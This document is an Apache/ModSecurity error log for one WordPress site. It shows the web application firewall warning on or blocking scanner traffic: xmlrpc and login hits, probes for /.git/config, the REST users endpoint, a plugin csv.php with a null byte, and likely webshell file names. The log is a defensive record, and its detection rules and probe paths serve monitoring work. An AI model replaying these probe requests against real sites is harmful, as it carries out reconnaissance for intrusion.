[Sun Apr 19 06:54:03.020955 2026] [:error] [pid 47775:tid 47847] [client 185.74.81.105:37492] [client 185.74.81.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.81.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeQLi7mztjlk9tsmoeyJ9AAAAIQ"]
[Sun Apr 19 07:14:25.865043 2026] [:error] [pid 47775:tid 47860] [client 46.246.39.245:37136] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeQQUbmztjlk9tsmoeyOBwAAAJE"]
[Sun Apr 19 08:09:57.112939 2026] [:error] [pid 47772:tid 47796] [client 212.47.78.124:57153] [client 212.47.78.124] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeQdVYc0L16cb4smAz_W6wAAAAc"]
[Sun Apr 19 08:09:57.690222 2026] [:error] [pid 47775:tid 47853] [client 212.47.78.124:54351] [client 212.47.78.124] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "aeQdVbmztjlk9tsmoeycUQAAAIo"]
[Sun Apr 19 08:09:58.283744 2026] [:error] [pid 47886:tid 47899] [client 212.47.78.124:59817] [client 212.47.78.124] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/media/system/js/core.js"] [unique_id "aeQdVkSe8yiyuPrD7yMPWQAAAMs"]
[Sun Apr 19 08:55:53.799026 2026] [:error] [pid 47772:tid 47798] [client 172.98.33.35:40921] [client 172.98.33.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.33.35, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeQoGYc0L16cb4smAz_oNQAAAAk"]
[Sun Apr 19 10:14:48.550350 2026] [:error] [pid 15763:tid 15798] [client 170.106.148.137:58126] [client 170.106.148.137] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeQ6mLMXv1Y1THOoxaBgDwAAAgI"]
[Sun Apr 19 10:43:10.003461 2026] [:error] [pid 15760:tid 15790] [client 182.44.8.254:54403] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeRBPvSdD_XHQMJ_ISs68QAAAdY"]
[Sun Apr 19 10:50:52.301621 2026] [:error] [pid 47772:tid 47806] [client 43.166.239.145:38916] [client 43.166.239.145] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeRDDIc0L16cb4smAz8OvwAAABE"]
[Sun Apr 19 11:10:04.854897 2026] [:error] [pid 47772:tid 47803] [client 180.181.244.244:58942] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeRHjIc0L16cb4smAz8TegAAAA4"]
[Sun Apr 19 11:36:54.727004 2026] [:error] [pid 47775:tid 47862] [client 95.110.143.247:51166] [client 95.110.143.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.110.143.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeRN1rmztjlk9tsmoey_VAAAAJM"]
[Sun Apr 19 12:13:40.150079 2026] [:error] [pid 15694:tid 15734] [client 4.204.200.16:27769] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeRWdLimB-jol1fwqArdCwAAAYg"]
[Sun Apr 19 12:13:41.928218 2026] [:error] [pid 47773:tid 47834] [client 4.204.200.16:27760] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeRWdeiBHdnCJDuPq9DipAAAAFI"]
[Sun Apr 19 12:13:44.324533 2026] [:error] [pid 47773:tid 47837] [client 4.204.200.16:4188] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeRWeOiBHdnCJDuPq9DipwAAAFU"]
[Sun Apr 19 12:13:46.822018 2026] [:error] [pid 47772:tid 47806] [client 4.204.200.16:4178] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeRWeoc0L16cb4smAz8qnQAAABE"]
[Sun Apr 19 12:32:40.923092 2026] [autoindex:error] [pid 15764:tid 15850] [client 212.47.77.99:51693] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Apr 19 12:56:48.687760 2026] [:error] [pid 15765:tid 15876] [client 91.245.210.195:35278] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeRgkPRqinw-W5EwQ77DkgAAApc"]
[Sun Apr 19 16:38:00.432848 2026] [:error] [pid 15763:tid 15820] [client 178.62.32.109:42078] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.32.109, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSUaLMXv1Y1THOoxaC4GQAAAhg"]
[Sun Apr 19 16:43:48.097677 2026] [:error] [pid 47772:tid 47809] [client 103.84.56.36:57051] [client 103.84.56.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.84.56.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSVxIc0L16cb4smAz9uxwAAABQ"]
[Sun Apr 19 16:43:50.025413 2026] [:error] [pid 15760:tid 15774] [client 103.84.56.36:52754] [client 103.84.56.36] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeSVxvSdD_XHQMJ_ISursgAAAcY"]
[Sun Apr 19 16:43:54.662506 2026] [:error] [pid 15760:tid 15784] [client 103.84.56.36:52754] [client 103.84.56.36] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeSVyvSdD_XHQMJ_ISurwQAAAdA"]
[Sun Apr 19 17:48:00.964521 2026] [:error] [pid 15764:tid 15828] [client 103.182.221.224:34056] [client 103.182.221.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.221.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSk0GLL_sqdSHoVp-TIDAAAAkI"]
[Sun Apr 19 17:48:11.505369 2026] [:error] [pid 15760:tid 15791] [client 103.182.221.224:33921] [client 103.182.221.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.221.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSk2_SdD_XHQMJ_ISvGXgAAAdc"]
[Sun Apr 19 17:48:22.028898 2026] [:error] [pid 47886:tid 47909] [client 103.182.221.224:34170] [client 103.182.221.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.221.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSk5kSe8yiyuPrD7yNalQAAANU"]
[Sun Apr 19 17:48:32.651069 2026] [:error] [pid 15763:tid 15818] [client 103.182.221.224:34144] [client 103.182.221.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.221.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSk8LMXv1Y1THOoxaDE-QAAAhY"]
[Sun Apr 19 17:48:43.374300 2026] [:error] [pid 15765:tid 15858] [client 103.182.221.224:34285] [client 103.182.221.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.221.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSk-_Rqinw-W5EwQ77g6gAAAoU"]
[Sun Apr 19 17:49:00.810682 2026] [:error] [pid 47886:tid 47900] [client 161.97.159.93:50773] [client 161.97.159.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.97.159.93, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeSlDESe8yiyuPrD7yNaswAAAMw"]
[Sun Apr 19 18:30:16.857988 2026] [:error] [pid 15763:tid 15816] [client 27.59.208.255:13573] [client 27.59.208.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.59.208.255, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSuuLMXv1Y1THOoxaDMuQAAAhQ"]
[Sun Apr 19 18:30:27.828590 2026] [:error] [pid 15765:tid 15852] [client 27.59.208.255:14960] [client 27.59.208.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.59.208.255, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSuw_Rqinw-W5EwQ77lmgAAAoA"]
[Sun Apr 19 18:30:38.350412 2026] [:error] [pid 15760:tid 15771] [client 27.59.208.255:14700] [client 27.59.208.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.59.208.255, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSuzvSdD_XHQMJ_ISvWAwAAAcM"]
[Sun Apr 19 18:30:48.721881 2026] [:error] [pid 47775:tid 47860] [client 27.59.208.255:13575] [client 27.59.208.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.59.208.255, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSu2Lmztjlk9tsmoez5JAAAAJE"]
[Sun Apr 19 18:30:59.145107 2026] [:error] [pid 15760:tid 15780] [client 27.59.208.255:15056] [client 27.59.208.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.59.208.255, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeSu4_SdD_XHQMJ_ISvWFgAAAcw"]
[Sun Apr 19 19:13:52.625691 2026] [:error] [pid 47772:tid 47810] [client 213.35.109.170:59129] [client 213.35.109.170] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:auth outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||rcacivilgroup.com|F|3"] [data "ARGS:auth=\\x00"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-automatic/inc/csv.php"] [unique_id "aeS48Ic0L16cb4smAz-TCQAAABU"]
[Sun Apr 19 19:40:20.935402 2026] [:error] [pid 47775:tid 47862] [client 111.92.145.5:52382] [client 111.92.145.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.92.145.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeS_JLmztjlk9tsmoewDsAAAAJM"]
[Sun Apr 19 19:40:31.440039 2026] [:error] [pid 15764:tid 15837] [client 111.92.145.5:52278] [client 111.92.145.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.92.145.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeS_L2LL_sqdSHoVp-TpFgAAAks"]
[Sun Apr 19 19:40:42.102773 2026] [:error] [pid 15760:tid 15791] [client 111.92.145.5:52700] [client 111.92.145.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.92.145.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeS_OvSdD_XHQMJ_ISvzVwAAAdc"]
[Sun Apr 19 19:40:52.611012 2026] [:error] [pid 47772:tid 47799] [client 111.92.145.5:52706] [client 111.92.145.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.92.145.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeS_RIc0L16cb4smAz-awwAAAAo"]
[Sun Apr 19 19:41:03.317911 2026] [:error] [pid 47772:tid 47804] [client 111.92.145.5:52135] [client 111.92.145.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.92.145.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeS_T4c0L16cb4smAz-azwAAAA8"]
[Sun Apr 19 19:41:13.942415 2026] [:error] [pid 15764:tid 15830] [client 111.92.145.5:52904] [client 111.92.145.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.92.145.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeS_WWLL_sqdSHoVp-TprAAAAkQ"]
[Sun Apr 19 19:41:47.510740 2026] [:error] [pid 15765:tid 15871] [client 192.99.71.37:52436] [client 192.99.71.37] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeS_e_Rqinw-W5EwQ77uyAAAApI"]
[Sun Apr 19 19:41:51.243733 2026] [:error] [pid 47772:tid 47808] [client 192.99.71.37:52474] [client 192.99.71.37] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeS_f4c0L16cb4smAz-a_QAAABM"], referer: https://github.com/
[Sun Apr 19 20:51:46.617064 2026] [:error] [pid 15764:tid 15850] [client 51.159.214.31:54474] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeTP4mLL_sqdSHoVp-QGDQAAAlc"]
[Sun Apr 19 21:24:54.455206 2026] [:error] [pid 15764:tid 15845] [client 20.91.204.211:19060] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeTXpmLL_sqdSHoVp-QVywAAAlM"]
[Sun Apr 19 21:24:55.856010 2026] [:error] [pid 15693:tid 15696] [client 20.91.204.211:14116] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeTXp8NMD-ccazQlTslbTgAAAUA"]
[Sun Apr 19 21:24:57.281605 2026] [:error] [pid 15764:tid 15839] [client 20.91.204.211:20622] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeTXqWLL_sqdSHoVp-QVzgAAAk0"]
[Sun Apr 19 21:24:58.561190 2026] [:error] [pid 15763:tid 15806] [client 20.91.204.211:20615] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeTXqrMXv1Y1THOoxaD6AgAAAgo"]
[Sun Apr 19 21:24:59.617464 2026] [:error] [pid 47772:tid 47795] [client 20.91.204.211:20648] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "aeTXq4c0L16cb4smAz--RAAAAAY"]
[Sun Apr 19 21:25:01.638332 2026] [:error] [pid 15765:tid 15861] [client 20.91.204.211:15905] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "aeTXrfRqinw-W5EwQ777oAAAAog"]
[Sun Apr 19 21:25:02.612508 2026] [:error] [pid 15694:tid 15726] [client 20.91.204.211:16049] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "aeTXrrimB-jol1fwqAoNrwAAAYM"]
[Sun Apr 19 21:25:04.041559 2026] [:error] [pid 15765:tid 15875] [client 20.91.204.211:15883] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "aeTXsPRqinw-W5EwQ777ogAAApY"]
[Sun Apr 19 21:25:05.813320 2026] [:error] [pid 15764:tid 15830] [client 20.91.204.211:14101] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "aeTXsWLL_sqdSHoVp-QV2AAAAkQ"]
[Sun Apr 19 21:25:07.478110 2026] [:error] [pid 47886:tid 47911] [client 20.91.204.211:17098] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "aeTXs0Se8yiyuPrD7yN39wAAANc"]
[Sun Apr 19 21:25:09.339900 2026] [:error] [pid 15760:tid 15781] [client 20.91.204.211:20629] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "aeTXtfSdD_XHQMJ_ISsvSwAAAc0"]
[Sun Apr 19 21:25:12.506929 2026] [:error] [pid 15760:tid 15788] [client 20.91.204.211:16821] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "aeTXuPSdD_XHQMJ_ISsvXQAAAdQ"]
